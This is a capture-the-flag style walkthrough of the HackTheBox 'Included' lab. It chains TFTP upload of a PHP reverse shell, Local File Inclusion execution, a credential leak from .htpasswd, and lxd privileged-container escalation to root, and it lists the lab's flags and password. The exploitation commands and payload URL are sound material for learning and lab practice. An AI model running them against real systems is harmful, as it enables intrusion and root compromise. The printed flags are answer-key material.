HackTheBox – Starting Point Phase – Tier 2/

HTB Labs - Tier 2 - "Included" Machine Walkthrough | By: CyberAlp0

AUTHORCyberAlp0
PUBLISHEDJuly 6, 2026
READ TIME14 MIN
HTB Labs - Tier 2 - "Included" Machine Walkthrough | By: CyberAlp0

Hey Folks, this is CyberAlp0. Welcome to a new walkthrough powered by Hack The Box — Tier 2, featuring the machine “Included”. Included is a Starting Point VIP lab designed to introduce attackers to UDP service discovery, Local File Inclusion (LFI), insecure file transfer services, and container-based privilege escalation using LXD. The lab emphasizes how multiple low-severity misconfigurations can be chained together to achieve full system compromise.

Executive Summary

Below is a high-level overview of the attack methodology used to compromise the machine.

Stage I: Scanning

Initial reconnaissance was conducted to identify exposed services and understand the target’s attack surface. An Nmap scans identified a TFTP service running over UDP port 69, which was not clearly detected during automated scans. This reinforced an important lesson: UDP services often hide critical attack vectors and require explicit probing.

Stage II: Enumeration

Web application analysis revealed a Local File Inclusion (LFI) vulnerability through a file parameter, allowing arbitrary local files to be read from the server. By exploiting this weakness, sensitive system files such as /etc/passwd were accessed, confirming improper input validation.

By chaining LFI with TFTP, a malicious PHP payload was uploaded to the server and executed via the vulnerable parameter, resulting in a reverse shell.

Once access was obtained, further enumeration of the filesystem exposed a hidden “.htpasswd” file in the web root directory. This file contained valid credentials for a user named mike, enabling lateral movement to a more privileged local account.

Stage III: Exploiting

After switching to the user mike, privilege escalation became the primary objective. Enumeration revealed that mike was a member of the “lxd group”, a highly privileged group that can interact with the LXD daemon, which runs as root.

Abusing LXD group membership, a privileged Alpine Linux container was created using a custom-built image. By launching the container with the security.privileged=true flag and mounting the host file system into the container, root access to the host system was achieved.

This resulted in full system compromise, allowing retrieval of both the user flag and the root flag from the host file system.

Let’s not waste more time on the introduction — and jump into the technical walkthrough in detail.

Step 1: Connecting to the Starting Point Labs Servers.

To attack the target machine, you have to be on the same network. You can read my blog which will guide you step-by-step into connecting to the target machine.

Step 2: Spawning the Machine and Starting to Solve the Tasks.

Task 1: What service is running on the target machine over UDP?

Answer: tftp

Walkthrough:

As usual we will start using the nmapautomator for mapping and scanning the target to see all the services and the opening ports. but you should note that any scanning automated tool might not give you the full accurate result specifically when you are trying to find all the possible services that are running over UDP. I have used the nmap automator and here is the result. 

Scanning the target using the nmapautomator
Scanning the target using the nmapautomator

Since the nmapautomator did not give us the proper information we needed, we will use the Nmap tool to find out the service that is running in the target machine over the UDP. Type the following command on the terminal:

nmap -sU -sV 10.129.95.185
Finding the services that are running over UDP.
Finding the services that are running over UDP.

The service that is running over the UDP is TFTP. TFTP stands for Trivial File Transfer Protocol. It’s a very simple file-transfer service that runs over UDP, usually on port 69/UDP.

TFTP lets a client download or upload files from a server with almost no security (No usernames, No passwords, No encryption). 

Note that:
TCP tells you what’s open.
UDP tells you where the real bugs are hiding.
Unlike TCP, UDP doesn’t handshake. If a service doesn’t reply properly, Nmap sees nothing or marks it as open or filtered. 
UDP scans are slow, and they cause many timeouts. 
Many systems block UDP without sending error responses, making services appear closed or invisible.

Task 2: What class of vulnerability is the web page that is hosted on port 80 vulnerable to?

Answer: Local File Inclusion (LFI)

Walkthrough:

Web applications are vulnerable to multiple classes of vulnerabilities. Here is a short summary for the different classes of vulnerabilities:

Local File Inclusion (LFI) is a web application vulnerability that occurs when an application improperly handles user input and allows an attacker to load or read files from the server’s local file system, enabling attackers to access sensitive system files such as configuration files, credentials, or source code, and in some cases escalate to remote code execution.

LFI allows attackers to read or include local files on a server by manipulating unsanitized input in a web application.

By looking closely to the URL of the web application, we will notice that the URL contains the following parameter:

file=home.php

This means that when the user enters the URL of the web application, he is basically requesting the home page or whatever page the web application is programed to display when it is called. According to the screenshot, it appears that this page that is being recalled is named as “home.php”. This is the value for the parameter “file”.

LFI here means that the attacker can manipulate/differ/alter/change the value of the parameter “file” to any path inside the server that is hosting the web application. Due to improper validation, the server will take the value of the parameter “file” and apply it without thinking (Improper Validation). This might expose sensitive information. 

For Instance, we will alter the value of the parameter “File” to be “/etc/passwd”. This will prompt the server to navigate to the following path and print to your screen the outcome. 

Displaying the user account information.
Displaying the user account information.
/etc/passwd is a system file that contains user account information on Linux and Unix-like systems.
Workflow of the Local File Inclusion (LFI)
Workflow of the Local File Inclusion (LFI)

Task 3: What is the default system folder that TFTP uses to store files?

Answer: /var/lib/tftpboot/

Walkthrough:

By searching, the default system directory used by TFTP on most Linux systems is /var/lib/tftpboot, which serves as the TFTP root directory for file storage and transfer.

Task 4: Which interesting file is located in the web server folder and can be used for Lateral Movement?

Answer: .htpasswd

Walkthrough:

Knowing or listing the files on the server using the tftp is not possible, as the tftp is not like the ftp that allows us to navigate to the server or list the contents. It only allows us to interact with the server without any authentication methods (usernames, or passwords). All it gives us is the ability to get or download any file. To do so, we have to know the name of the file. 

Trying to navigate the server after connecting to it using the tftp.
Trying to navigate the server after connecting to it using the tftp.

The question is, how to elevate our privileges to be able to view or list the content of the server?

The answer is by trying to infect the server with a malicious code to open for us a reverse shell. Since, we already know that the server is vulnerable to LFI, we will upload our malicious PHP file to get access to the server.

You can get the malicious PHP file through the following Link. You will need to modify the IP address and replace it with the tun0 interface IP address (As you are connected to the machine through a VPN). 

Modifying the malicious PHP code and replacing the IP address with the tun0 interface IP address.
Modifying the malicious PHP code and replacing the IP address with the tun0 interface IP address.

Then upload the malicious PHP file to the server after connecting using the tftp command. Then upload the PHP file using the put command as shown in the following screenshot 

Uploading the malicious PHP file to the server.
Uploading the malicious PHP file to the server.

Now, the malicious PHP is uploaded to the server using the tftp and needs to be executed. Here is where we will exploit the LFI vulnerability by tampering the value of the file in the URL to the path of the malicious PHP file.

http://included.htb/?file=var/lib/tftpboot/inject.php
Asking the server to execute the malicious PHP code that we uploaded on the server using the tftp service. Any uploaded files will be saved by default on the following path /var/lib/tftpboot.
Asking the server to execute the malicious PHP code that we uploaded on the server using the tftp service. Any uploaded files will be saved by default on the following path /var/lib/tftpboot.

To listen to any incoming connections, we will use the netcat command:

nc -nvlp 1234
Listening to the incoming connections from the infected server through port 1234.
Listening to the incoming connections from the infected server through port 1234.

Now, we got our reverse shell opened, we need to make this shell interactive and stabilise reverse shell. To do so, type the following command:

# On target (inside reverse shell):
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Press Ctrl+Z to background the shell

# On attacker (local terminal):
stty raw -echo; fg

# Back in the reverse shell on target:
export TERM=xterm
export SHELL=bash
Bottom line: Without these steps, a raw reverse shell is fragile — CTRL+C kills it, no tab completion, no clear screen, no interactive tools. After running them, you get a fully interactive TTY that behaves like a normal SSH session.

Back to our task, what is the file that will help us to do lateral movement and increase our privileges?

Since, we got our interactive shell, we will navigate the server to reach any important file. We will notice that there is a file saved in the following path (/var/www/html) called “.htpasswd”. 

Note that: to view this file, type the following command “ls -la”. This will display all the hidden files as well.

View the content of this file and you will see credentials in it related to a user called mike. 

The credentials of a user called mike who we will use as a lateral movement.
The credentials of a user called mike who we will use as a lateral movement.

Username: mike 

Password: Sheffield19

Task 5: What is the group that user Mike is a part of and can be exploited for Privilege Escalation?

Answer: lxd

Walkthrough:

It is enough to type the “ID” to know more information about the user. 

Knowing more information about the user.
Knowing more information about the user.
Note that: You can type the command “groups” to know the groups of the user mike.

The “id” command output shows that the current user mike is a normal, non-root user (UID 1000) with a primary group also named mike. However, the user is additionally a member of the “lxd” group, which is significant because this group has high privileges. Membership in “lxd” can allow a user to interact with the LXD service, which runs as root, and potentially escalate privileges to gain root access.

On most Linux systems:
- 0 → root
- 1–999→ system/service accounts
- 1000 + → regular human users like our friend mike

Based on the result of “id” command we can learn that the user mike is a normal user (UID=1000) and his primary group is called Mike and its GID=1000. Most importantly that the user mike is “included” in another supplementary group called “LXD”.

Being in the lxd group is extremely dangerous from a security perspective. As LXD is a system container manager, It runs containers with root-equivalent privileges which means that members of the lxd group can interact with the LXD daemon, which runs as root.

Task 6: When using an image to exploit a system via containers, we look for a very small distribution. Our favourite for this task is named after mountains. What is that distribution name?

Answer: Alpine

Walkthrough:

The distribution is Alpine Linux. It’s named after the Alps Mountains. 

Let’s have a break here to gather what we found so far to see how we are going to move to get the root access. 

So far, we have learnt that:

1- The machine is running on Linux and there is a UDP service running over port 69 called tftp.

2- This tftp service is unlike any other services that require authentication when trying to connect to the server through it. This service does not require passwords or usernames. You just type the following command and boom, you are connected 

tftp <IP>

3- This service doesn’t allow the user to interact with the server like viewing or listing the files. You will need to know the name of a specific file to get it using the “get” command or if you want to upload a file you will use the “put” command.

4- If the server is having a tftp service, this means that all files are being saved by default in the following path /var/lib/tftpboot.

5- To navigate freely in the server, we had to inject the server with a malicious PHP file and execute it by exploiting the LFI vulnerability in the server. We have found out that the server is infected by LFI while looking to the parameters of the URL. Upon testing it appears that the server is not validating the requests, which makes it vulnerable to execute any files we want.

6- We used the tftp to upload the PHP infected page and listened over the port for any incoming connections from the server. Then we have managed to open a shell. We transferred the shell into an interactive shell and navigated the file system of the server.

7- Upon navigating, we have found interesting files in the path /var/www/html, which is “.htpasswd”. This files contains username and password which helped us in lateral movement. We switched to the user mike and found out that he belongs to a default group called “mike” and another group called “lxd”.

8- What is interesting that the user mike is considered under a Linux container group which is by default has the root permissions. Thus, the next step is how we can make use of the LXC service to escalate the privileges from normal user to root user. Here lies the question:

What are LXC and LXD?

LXC stands for (Linux Containers). LXC are lightweight “mini Linux systems” that run inside another Linux system and share its kernel. They are not separate virtual machines, which takes shares of the hosts’ specs. They are something can be build inside the Linux system and can share the same foundations of the HOST.

Virtual Machines VS Containers.
Virtual Machines VS Containers.

To make it more understandable for you, Think of the container as a home with a specific resources (RAM — Processor — Hard Drive), and there are rooms inside this house which consumes from these resources. So, LXC containers are separate rooms inside the same house, each room looks like a full Linux system, But all rooms share the same foundation (kernel).

LXC containers use Linux features to isolate files, processes, users, and networking
LXC containers use Linux features to isolate files, processes, users, and networking

Inside each container, you can install packages and files 

What is LXD?

What is LXC and LXD?
What is LXC and LXD?

Now let’s connect the dots!

  • The low-privilege user “Mike” is within the group “LXD”
  • LXD group means that there are containers within the linux operating system and has its own files and system structure, and it can run as a root on the host machine (The machine itself).

So, why don’t we make use of this and make the LXD (running as a root) to do things for us ^_^!

9- Finally, we need to build a container. Here comes the importance of creating an image of container on the server itself. As per task No 6, we can use a small Linux distribution to exploit the system through its vulnerability which is the containers. Thus, we will need the “Alpine” image and configure it on the operating system.

Note that: Container Image is just a template. Think of it like a fresh mini Linux system.

Steps for installing a Linux container in the server

Step 1: Install the image from GitHub using the git clone command 

git clone https://github.com/lxc/distrobuilder.git

Step 2: Follow the following instructions to complete the installation

# Install requirements
sudo apt update
sudo apt install -y golang-go gcc debootstrap rsync gpg squashfs-tools git make build-essential libwin-hivex-perl wimtools genisoimage    

# Clone repo
mkdir -p $HOME/go/src/github.com/lxc/
cd $HOME/go/src/github.com/lxc/
git clone https://github.com/lxc/distrobuilder

# Make distrobuilder
cd ./distrobuilder
make

# Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml

# Create the container - Beware of architecture while compiling locally.
sudo $HOME/go/bin/distrobuilder build-incus alpine.yaml -o image.release=3.18 -o image.architecture=x86
Building a custom Alpine Linux (3.18, x86_64) container image using distrobuilder, preparing it for use with LXD containers.
Building a custom Alpine Linux (3.18, x86_64) container image using distrobuilder, preparing it for use with LXD containers.

After finishing the steps above, we will be having the following files 

We will upload the files to the target's machine.
We will upload the files to the target's machine.

Possible Issue Resolved: Fatal Error: sys/cdefs.h: No Such file or directory | LXD Distrobuilder on Parrot/Kali

When compiling LXD’s distrobuilder with make, the build fails at the CGO phase:

/usr/include/features.h:523:12: fatal error: sys/cdefs.h: No such file or directory
fatal error: sys/cdefs.h: No such file or directory
fatal error: sys/cdefs.h: No such file or directory

Root Cause: The libc6-dev package (GNU C Library dev headers) is missing or corrupted — common on Parrot OS and Kali.

Fix: 

sudo apt update
sudo apt install -y libc6-dev gcc-multilib

If libc6-dev is already installed but the error persists:

sudo apt reinstall libc6-dev

Verify, then re-run make:

find /usr/include -name "cdefs.h"   # should return /usr/include/x86_64-linux-gnu/sys/cdefs.h
cd ~/go/src/github.com/lxc/distrobuilder && make

Step 3: Upload the files incus.tar.xz and rootfs.squashfs to the target machine

To Upload the files from the attacker machine to target machine, you will:

  • Open a web server on the attacker machine.
  • Call the file saved in the attacker machine from the target machine.

First: Run the following command on the attacker machine:

python3 -m http.service 8000

Then, Go to the target machine and get the files from the attacker’s web server using the wget command as shown in the previous screenshot.

wget 10.10.14.7:8000/<File_Name>
Using the wget command to download the files from the attacker machine
Using the wget command to download the files from the attacker machine
Important Note: Make sure of turning the web server up on the attacker machine at the same path where exists the files you wish to upload to the target machine. Meaning if the files at the path /home/kali/cyberalp0, then you need to execute the command at the path /home/kali/cyberalp0.
Note that: Try to move the files to the /tmp on the target’s machine as you might encounter permissions issues.

Task 7: What flag do we set to the container so that it has root privileges on the host system?

Answer: security.privileged=true

Walkthrough:

Since, we have uploaded the required files to start the container inside the target’s machine. Follow the following steps to start the container inside the target’s machine:

lxc image import incus.tar.xz rootfs.squashfs --alias alpine

# Check the image is there
lxc image list

# Create the container
lxc init alpine privesc -c security.privileged=true

# List containers
lxc list

lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
Note that: Root inside container ≠ root on host. But with a privileged container:
Root inside container = real root on host
Setting the flag security.privilige=true in the container to exploit it and get the root privileges.
Setting the flag security.privilige=true in the container to exploit it and get the root privileges.
lxc start privesc
lxc exec privesc /bin/sh

Thus, the container is now up, and we got the root privileges.

Task 9: Submitting the user flag 

Answer: a56ef91d70cfbf2cdb8f454c006935a1

Walkthrough:

By switching the user to mike, we can find the user flag in the home directory of mike. Get the user flag by typing the “cat” command. 

Capturing the user flag
Capturing the user flag

The user flag of the machine “Included” is: a56ef91d70cfbf2cdb8f454c006935a1

Task 10: Submitting the root flag

Answer: c693d9c7499d9f572ee375d4c14c7bcf

Walkthrough:

Since we had the root privileges, we can get the flag by searching for a file called “root.txt”. Use the following command for the search: 

find / -name "root.txt" 2>/dev/null

Here is a breakdown of the command used:

  • find / — searches from the root directory
  • -name "root.flag" — matches the exact filename
  • 2>/dev/null — hides "permission denied" errors to keep output clean

We will find that the flag is hidden in the following directory: 

/mnt/root/root/root.txt

The path to the root flag.
The path to the root flag.

The root flag for the “Included” machine is: c693d9c7499d9f572ee375d4c14c7bcf

Hope you enjoyed reading my blog about solving Included machine from HTB — Tier 2 — Starting Point Phase.

See You in another write-up!

[ #included ][ #OSCP Preperations ][ #Penetration Testing ][ #Kali Linux ][ #cyberalp0 ][ #cyberskii ][ #bug bounty ][ #Web Application Penetration Testing ][ #Web Application Security ][ #writeup ][ #lxd ][ #lxc ]